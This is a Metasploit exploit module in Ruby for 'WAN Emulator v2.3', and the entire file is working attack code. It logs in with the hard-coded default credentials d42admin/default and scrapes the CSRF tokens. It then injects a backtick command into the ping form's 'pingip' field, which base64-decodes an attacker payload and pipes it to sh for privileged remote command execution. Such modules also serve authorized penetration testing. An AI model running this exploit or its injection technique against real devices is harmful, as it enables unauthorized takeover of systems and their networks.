require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'WAN Emulator v2.3 Command Execution',
'Description' => %q{
},
'License' => MSF_LICENSE,
'Privileged' => true,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Author' =>
[
'Brendan Coles <bcoles[at]gmail.com>',
],
'References' =>
[
],
'Payload' =>
{
'Space' => 1024,
'BadChars' => "",
'DisableNops' => true,
},
'DefaultOptions' =>
{
'ExitFunction' => 'none'
},
'Targets' =>
[
['Automatic Targeting', { 'auto' => true }]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 12 2012'
))
end
def exploit
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'accounts', 'login/'),
})
cookie = res.headers['Set-Cookie']
csrf = $1 if res.body =~ / name='csrfmiddlewaretoken' value='(.*)' \/><\/div>/
post = {
'csrfmiddlewaretoken' => csrf,
'username' => 'd42admin',
'password' => 'default',
'next' => '/'
}
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'accounts', 'login/'),
'vars_post' => post,
'method' => 'POST',
'cookie' => cookie
})
unless res.code == 302
fail_with("auth failed")
end
cookie = res.headers['Set-Cookie']
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'ping/'),
'cookie' => cookie
})
cookie = res.headers['Set-Cookie']
csrf = $1 if res.body =~ / name='csrfmiddlewaretoken' value='(.*)' \/><\/div>/
post = {
'csrfmiddlewaretoken' => csrf,
'pingip' => "www.google.com`echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode|sh`",
'ping' => ''
}
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'ping/'),
'method' => "POST",
'vars_post' => post,
'cookie' => cookie
})
end
end
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